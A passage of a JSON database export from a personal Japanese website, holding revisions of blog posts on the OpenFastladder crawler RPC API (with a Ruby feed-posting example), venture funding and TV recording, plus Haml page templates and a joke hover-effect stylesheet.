feedtitle: フィードのタイトル\r\n- feeddescription: フィードの説明\r\n\r\nJSON の場合も複数登録の場合も同様です。 feedtitle は必須ですが feeddescripiton は必須ではありません。\r\n\r\nフィードではないものを Fastladder で購読する実例を以下に示します。\r\n\r\n\u003cscript src=\"https://gist.github.com/ssig33/5194579.js\"\u003e\u003c/script\u003e\r\n\r\nこれは Twitter の UserStreams を読み込んでガンガン Fastladder に送りつけていくというものです。全く便利ではありません。\r\n\r\n結構便利に遊べる API なのではないかと思います。どうぞ、ご利用ください。","created_at":"2013-03-19T08:46:37.000Z","updated_at":"2013-03-19T08:46:37.000Z"},{"id":2332,"name":"text/OpenFastladder クローラー向け RPC について","body":"%blog%\r\n\r\nOpenFastladder にクローラー向け API が出来ました。\r\n\r\n若干むちゃくちゃな仕様だが[無理矢理通した](https://github.com/fastladder/fastladder/pull/97)というものです。\r\n\r\n自分の好きな言語でクローラーを開発し、 Fastladder で使用することが出来ます。\r\n\r\n### 使い方\r\n1. Fastladder をセットアップする\r\n2. ユーザーを作り、サインインする\r\n3. 右上のメニューにある Account っていうページにいって、左のメニューから API Key に行く\r\n4. Set or Change Auth Key っていうボタンクリックする\r\n5. Your API Auth Key is: *********************************** みたいになるのでそれ自分のクローラーにコピペ\r\n6. http://your\\_fastladder/rpc/update\\_feed に向けて以下の内容を POST する\r\n - feedlink: フィードの URL\r\n - link: 記事の URL\r\n - body: 記事の内容\r\n - category: 記事のカテゴリ\r\n - published_date: 記事の発行日\r\n - api\\_key: 先程の API Key\r\n\r\n以上です。\r\n\r\n- api_key: API Key\r\n- json: {\"feedlink\":\"フィードの URL\",\"link\":\"記事の URL\",\"body\":\"記事の内容\",\"category\":\"記事のカテゴリ\",\"published\\_date\":\"記事の発行日\"}\r\n\r\nという感じで POST しても大丈夫です。\r\n\r\n複数の記事を一括で更新したい場合は\r\n\r\n/rpc/update\\_feeds という API に対して\r\n\r\n- api\\_key: API Key\r\n- feeds: [{\"feedlink\":\"フィードの URL\",\"link\":\"記事の URL\",\"body\":\"記事の内容\",\"category\":\"記事のカテゴリ\",\"published\\_date\":\"記事の発行日\"},{\"feedlink\":\"フィードの URL\",\"link\":\"記事の URL\",\"body\":\"記事の内容\",\"category\":\"記事のカテゴリ\",\"published\\_date\":\"記事の発行日\"}]\r\n\r\nみたいな感じで POST してください。 feeds は JSON 。\r\n\r\n重複を Fastladder とクローラーで連携して確認し、無駄なものを POST しないようにするということも出来ます。 check_digest というのがそれです。その辺説明めんどくさいので[ソース自分で読んで](https://github.com/fastladder/fastladder/blob/master/app/controllers/rpc_controller.rb)考えてください。\r\n\r\n### 一歩進んだ使い方\r\n上記の方法では、実はフィードしか送りつけることが出来ません。ですがこういう仕組みが用意されている以上、フィードでないものも Fastladder に送りつけて購読することはまさに醍醐味と言えるでしょう。以下のようにすることでフィードでないものも購読出来ます。\r\n\r\n上記で POST しているパラメーターに更に以下を加える\r\n\r\n- feedtitle: フィードのタイトル\r\n- feeddescription: フィードの説明\r\n\r\nJSON の場合も複数登録の場合も同様です。 feedtitle は必須ですが feeddescripiton は必須ではありません。\r\n\r\nフィードではないものを Fastladder で購読する実例を以下に示します。\r\n\r\n\u003cscript src=\"https://gist.github.com/ssig33/5194579.js\"\u003e\u003c/script\u003e\r\n\r\nこれは Twitter の UserStreams を読み込んでガンガン Fastladder に送りつけていくというものです。全く便利ではありません。\r\n\r\n結構便利に遊べる API なのではないかと思います。どうぞ、ご利用ください。","created_at":"2013-03-19T08:47:48.000Z","updated_at":"2013-03-19T08:47:48.000Z"},{"id":2333,"name":"text/OpenFastladder クローラー向け RPC について","body":"%blog%\r\n\r\nOpenFastladder にクローラー向け API が出来ました。\r\n\r\n若干むちゃくちゃな仕様だが[無理矢理通した](https://github.com/fastladder/fastladder/pull/97)というものです。\r\n\r\n自分の好きな言語でクローラーを開発し、 Fastladder で使用することが出来ます。\r\n\r\n### 使い方\r\n1. Fastladder をセットアップする\r\n2. ユーザーを作り、サインインする\r\n3. 右上のメニューにある Account っていうページにいって、左のメニューから API Key に行く\r\n4. Set or Change Auth Key っていうボタンクリックする\r\n5. Your API Auth Key is: *********************************** みたいになるのでそれ自分のクローラーにコピペ\r\n6. http://your\\_fastladder/rpc/update\\_feed に向けて以下の内容を POST する\r\n - feedlink: フィードの URL\r\n - link: 記事の URL\r\n - body: 記事の内容\r\n - category: 記事のカテゴリ\r\n - published_date: 記事の発行日\r\n - api\\_key: 先程の API Key\r\n\r\n以上です。\r\n\r\n- api_key: API Key\r\n- json: {\"feedlink\":\"フィードの URL\",\"link\":\"記事の URL\",\"body\":\"記事の内容\",\"category\":\"記事のカテゴリ\",\"published\\_date\":\"記事の発行日\"}\r\n\r\nという感じで POST しても大丈夫です。\r\n\r\n複数の記事を一括で更新したい場合は\r\n\r\n/rpc/update\\_feeds という API に対して\r\n\r\n- api\\_key: API Key\r\n- feeds: [{\"feedlink\":\"フィードの URL\",\"link\":\"記事の URL\",\"body\":\"記事の内容\",\"category\":\"記事のカテゴリ\",\"published\\_date\":\"記事の発行日\"},{\"feedlink\":\"フィードの URL\",\"link\":\"記事の URL\",\"body\":\"記事の内容\",\"category\":\"記事のカテゴリ\",\"published\\_date\":\"記事の発行日\"}]\r\n\r\nみたいな感じで POST してください。 feeds は JSON 。\r\n\r\n重複を Fastladder とクローラーで連携して確認し、無駄なものを POST しないようにするということも出来ます。 check_digest というのがそれです。その辺説明めんどくさいので[ソース自分で読んで](https://github.com/fastladder/fastladder/blob/master/app/controllers/rpc_controller.rb)考えてください。\r\n\r\n### 一歩進んだ使い方\r\n上記の方法では、実はフィードしか送りつけることが出来ません。ですがこういう仕組みが用意されている以上、フィードでないものも Fastladder に送りつけて購読することはまさに醍醐味と言えるでしょう。以下のようにすることでフィードでないものも購読出来ます。\r\n\r\n上記で POST しているパラメーターに更に以下を加える\r\n\r\n- feedtitle: フィードのタイトル\r\n- feeddescription: フィードの説明\r\n\r\nJSON の場合も複数登録の場合も同様です。 feedtitle は必須ですが feeddescripiton は必須ではありません。\r\n\r\nフィードではないものを Fastladder で購読する実例を以下に示します。\r\n\r\n``` ruby\r\nrequire 'user-stream-receiver' \r\nrequire 'json' \r\nrequire 'rest_client' \r\n \r\nHOST = ''\r\nAPI_KEY = ''\r\n \r\nUserStreamReceiver.new.run{|chunk| \r\n begin \r\n chunk = JSON.parse(chunk) \r\n next unless chunk['text'] \r\n hash = { \r\n feedlink: \"https://twitter.com/#{chunk['user']['screen_name']}\", \r\n feedtitle: \"Twitter #{chunk['user']['screen_name']}\", \r\n link: \"https://twitter.com/#{chunk['user']['screen_name']}/status/#{chunk['id']}\", \r\n title: \"Twitter #{chunk['user']['screen_name']}\", \r\n body: chunk['text'], \r\n author: chunk['user']['screen_name'], \r\n category: 'Twitter', \r\n published_date: chunk['created_at'] \r\n } \r\n RestClient.post \"http://#{HOST}/rpc/update_feed\", json: hash.to_json, api_key: API_KEY \r\n rescue \r\n p 'error' \r\n end \r\n}\r\n```\r\n\r\nこれは Twitter の UserStreams を読み込んでガンガン Fastladder に送りつけていくというものです。全く便利ではありません。\r\n\r\n結構便利に遊べる API なのではないかと思います。どうぞ、ご利用ください。","created_at":"2013-03-20T09:49:46.000Z","updated_at":"2013-03-20T09:49:46.000Z"},{"id":2334,"name":"text/ベンチャーが大型資金調達をしていけない理由","body":"%blog% ベンチャーが VC などから大型資金調達をしていけない理由\r\n\r\nたった一つです。\r\n\r\n- 上場出来なくなる\r\n\r\nVC の資金が全体の 40% とか 50% とかになってきますと、もう上場出来ません。国内において VC は上場されれば株を売るわけですから、 VC の比率が高いというのは上場後に株価が下落する方向に働きます。ですから比率が高ければ上場を引き受けてくれる幹事がいなくなります。\r\n\r\nですから VC の比率が上がってしまうとそれを下げないといけないということになるのですが、一度崩れた資本構成を組み直すのは大抵無理です。\r\n\r\nでは何故 VC がそういう行動をとってしまうかというと\r\n\r\n- そもそも VC 運営のノウハウがまだあまりない(それでもインドやヨーロッパよりマシだけど)\r\n- VC が自己資金を投資にぶちこんじゃってるので回収しないといけないみたいな意識が強い\r\n - 顧客の金入れてるだけなら手数料がそもそも回収できるのでもっと悠長にできるので小さくちょこちょこでいい\r\n\r\nというあたりでしょうか。取り急ぎ書きました、お前のことだぞ、いいな、分かったな。","created_at":"2013-03-22T02:18:07.000Z","updated_at":"2013-03-22T02:18:07.000Z"},{"id":2335,"name":"text/ベンチャーが大型資金調達をしていけない理由","body":"%blog% ベンチャーが VC などから大型資金調達をしていけない理由\r\n\r\nたった一つです。\r\n\r\n- 上場出来なくなる\r\n\r\nVC の資金が全体の 40% とか 50% とかになってきますと、もう上場出来ません。国内において VC は上場されれば株を売るわけですから、 VC の比率が高いというのは上場後に株価が下落する方向に働きます。ですから比率が高ければ上場を引き受けてくれる幹事がいなくなります。\r\n\r\nですから VC の比率が上がってしまうとそれを下げないといけないということになるのですが、一度崩れた資本構成を組み直すのは大抵無理です。\r\n\r\nでは何故 VC がそういう行動をとってしまうかというと\r\n\r\n- そもそも VC 運営のノウハウがまだあまりない(それでもインドやヨーロッパよりマシだけど)\r\n- VC が自己資金を投資にぶちこんじゃってるので回収しないといけないみたいな意識が強い\r\n - 顧客の金入れてるだけなら手数料がそもそも回収できるのでもっと悠長にできるので小さくちょこちょこでいい\r\n\r\nというあたりでしょうか。取り急ぎ書きました、お前のことだぞ、いいな、分かったか。","created_at":"2013-03-22T02:19:34.000Z","updated_at":"2013-03-22T02:19:34.000Z"},{"id":2336,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h2 ssig33.com - recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(120).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=CGI.escapeHTML post.name\r\n %span.lightgray\r\n updated at:\r\n =post.updated_at.getutc\r\n %br\r\n %p\r\n %a{href: \"/\"} Go to Top Page","created_at":"2013-03-28T09:30:02.000Z","updated_at":"2013-03-28T09:30:02.000Z"},{"id":2337,"name":"hatenablog.coffee","body":"coffee\r\n$ -\u003e\r\n $('#globalheader-container').remove()","created_at":"2013-04-01T06:23:00.000Z","updated_at":"2013-04-01T06:23:00.000Z"},{"id":2338,"name":"gyazo","body":"# Gyazo\r\n## スクリーンショットの瞬間共有","created_at":"2013-04-01T14:43:25.000Z","updated_at":"2013-04-01T14:43:25.000Z"},{"id":2339,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %div\r\n %ul\r\n %li \r\n %b Update history of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-04-01T14:43:59.000Z","updated_at":"2013-04-01T14:43:59.000Z"},{"id":2340,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %div\r\n %ul\r\n %li \r\n %b Update history of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e\r\n","created_at":"2013-04-01T14:44:24.000Z","updated_at":"2013-04-01T14:44:24.000Z"},{"id":2341,"name":"youpy2.css","body":" * {\r\n\r\n -moz-transition: all 10s; \r\n -webkit-transition: all 10s; \r\n -ms-transition: all 10s; \r\n -o-transition: all 10s; \r\n transition: all 10s; \r\n border-radius:0;\r\n\r\n}\r\n\r\n*:hover {\r\n\r\n border-radius:50px;\r\n width:50px;\r\n height:50px;\r\n background:#f0f;\r\n position:absolute;\r\n top:0;\r\n left:0;\r\n -moz-transition: all 10s; \r\n -webkit-transition: all 10s; \r\n -ms-transition: all 10s; \r\n -o-transition: all 10s; \r\n transition: all 10s; \r\n\r\nfont-size: 3000px !important;\r\nborder: 100px dotted #0f0;\r\n}","created_at":"2013-04-05T15:28:54.000Z","updated_at":"2013-04-05T15:28:54.000Z"},{"id":2342,"name":"youpy2.css","body":"raw\r\n* {\r\n\r\n -moz-transition: all 10s; \r\n -webkit-transition: all 10s; \r\n -ms-transition: all 10s; \r\n -o-transition: all 10s; \r\n transition: all 10s; \r\n border-radius:0;\r\n\r\n}\r\n\r\n*:hover {\r\n\r\n border-radius:50px;\r\n width:50px;\r\n height:50px;\r\n background:#f0f;\r\n position:absolute;\r\n top:0;\r\n left:0;\r\n -moz-transition: all 10s; \r\n -webkit-transition: all 10s; \r\n -ms-transition: all 10s; \r\n -o-transition: all 10s; \r\n transition: all 10s; \r\n\r\nfont-size: 3000px !important;\r\nborder: 100px dotted #0f0;\r\n}","created_at":"2013-04-05T15:29:15.000Z","updated_at":"2013-04-05T15:29:15.000Z"},{"id":2343,"name":"youpy2.css","body":"raw\r\nmime css\r\n* {\r\n\r\n -moz-transition: all 10s; \r\n -webkit-transition: all 10s; \r\n -ms-transition: all 10s; \r\n -o-transition: all 10s; \r\n transition: all 10s; \r\n border-radius:0;\r\n\r\n}\r\n\r\n*:hover {\r\n\r\n border-radius:50px;\r\n width:50px;\r\n height:50px;\r\n background:#f0f;\r\n position:absolute;\r\n top:0;\r\n left:0;\r\n -moz-transition: all 10s; \r\n -webkit-transition: all 10s; \r\n -ms-transition: all 10s; \r\n -o-transition: all 10s; \r\n transition: all 10s; \r\n\r\nfont-size: 3000px !important;\r\nborder: 100px dotted #0f0;\r\n}","created_at":"2013-04-05T15:29:29.000Z","updated_at":"2013-04-05T15:29:29.000Z"},{"id":2344,"name":"js/youpy.js","body":"raw\r\nmime js\r\nfunction addCSS(){\r\n\tvar l = document.createElement(\"link\");\r\n\tl.rel = \"stylesheet\";\r\n\tl.href = \"http://ssig33.com/youpy2.css\";\r\n\tdocument.getElementsByTagName(\"head\")[0].appendChild(l);\r\n}\r\n$(function(){\r\n $('#youpy').click(function(){addCSS()})\r\n})","created_at":"2013-04-05T15:30:05.000Z","updated_at":"2013-04-05T15:30:05.000Z"},{"id":2345,"name":"text/録画する話","body":"%blog%\r\n\r\nあんまりまとまりの無い文章です。\r\n\r\nここ一年ぐらいはテレビ番組録画が趣味ですとか、録画したものは全部保存して一ヶ月に 1TB ぐらいですとか言うとなんでそんなに録画するんだとか結構言われるんですが、いくらか真面目に考えていることがあって\r\n\r\n- まずデータが無いと駄目\r\n- とにかくデータありき\r\n\r\nだなあと。データを集めるのに理由はいらないと思うんです。データがあってなんとなく眺めていれば活用方法というのは自然と出てくる。\r\n\r\n- [自作のメディアサーバー](https://github.com/ssig33/pig-media-server)とか\r\n- [字幕読むやつ](http://ssig33.com/text/%E3%83%86%E3%83%AC%E3%83%93%E7%95%AA%E7%B5%84%E3%82%92%E3%83%8E%E3%83%99%E3%83%AB%E3%82%B2%E3%83%BC%E3%83%A0%E9%A2%A8%E3%81%AB%E3%81%99%E3%82%8B%E3%82%82%E3%81%AE%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%9F)とか\r\n\r\n発想が先にあったんじゃなくて、データをぼーっと眺めてたら活用法が思い浮かんだ。\r\n\r\n何をするにせよ、まず手元にデータがあることの重要性というのは、かなりあると思います。何も無いところから発想が出てくるということはまず無いと思います。 Web サイトクロールしまくってもいいし、テレビ放送という映像を延々と垂れ流しているものを録画しまくるのでもいい。本というのもデータの塊ですから、僕は Amazon やメロンブックスから勝手に本を買ってくる bot を動かしていろいろ興味の無いものを集めている。\r\n\r\n特にこれ以上言いたいことがあるわけじゃないですが追記するかも。","created_at":"2013-04-05T15:41:41.000Z","updated_at":"2013-04-05T15:41:41.000Z"},{"id":2346,"name":"text/録画する話","body":"%blog%\r\n\r\nあんまりまとまりの無い文章です。\r\n\r\nここ一年ぐらいはテレビ番組録画が趣味ですとか、録画したものは全部保存して一ヶ月 2500 本前後容量にして 1TB ぐらいですとか言うとなんでそんなに録画するんだとか結構言われるんですが、いくらか真面目に考えていることがあって\r\n\r\n- まずデータが無いと駄目\r\n- とにかくデータありき\r\n\r\nだなあと。データを集めるのに理由はいらないと思うんです。データがあってなんとなく眺めていれば活用方法というのは自然と出てくる。\r\n\r\n- [自作のメディアサーバー](https://github.com/ssig33/pig-media-server)とか\r\n- [字幕読むやつ](http://ssig33.com/text/%E3%83%86%E3%83%AC%E3%83%93%E7%95%AA%E7%B5%84%E3%82%92%E3%83%8E%E3%83%99%E3%83%AB%E3%82%B2%E3%83%BC%E3%83%A0%E9%A2%A8%E3%81%AB%E3%81%99%E3%82%8B%E3%82%82%E3%81%AE%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%9F)とか\r\n\r\n発想が先にあったんじゃなくて、データをぼーっと眺めてたら活用法が思い浮かんだ。\r\n\r\n何をするにせよ、まず手元にデータがあることの重要性というのは、かなりあると思います。何も無いところから発想が出てくるということはまず無いと思います。 Web サイトクロールしまくってもいいし、テレビ放送という映像を延々と垂れ流しているものを録画しまくるのでもいい。本というのもデータの塊ですから、僕は Amazon やメロンブックスから勝手に本を買ってくる bot を動かしていろいろ興味の無いものを集めている。\r\n\r\n特にこれ以上言いたいことがあるわけじゃないですが追記するかも。","created_at":"2013-04-05T15:47:18.000Z","updated_at":"2013-04-05T15:47:18.000Z"},{"id":2347,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - text\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"","created_at":"2013-04-05T16:00:13.000Z","updated_at":"2013-04-05T16:00:13.000Z"},{"id":2348,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"","created_at":"2013-04-05T16:00:29.000Z","updated_at":"2013-04-05T16:00:29.000Z"},{"id":2349,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -Page.find(Groonga['Pages'].select(”name:^text/”).paginate([key: 'created_at', order: 'descending'], size: 200, page: (params[:page] ? params[:page].to_i : 1)).map{|x| x.page_id}).each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"","created_at":"2013-04-05T17:15:48.000Z","updated_at":"2013-04-05T17:15:48.000Z"},{"id":2350,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = params[:page] ? params[:page].to_i : 1\r\n -Page.find(Groonga['Pages'].select(\"name:^text/\").paginate([key: 'created_at', order: 'descending'], size: 200, page: page).map{|x| x.page_id}).each do 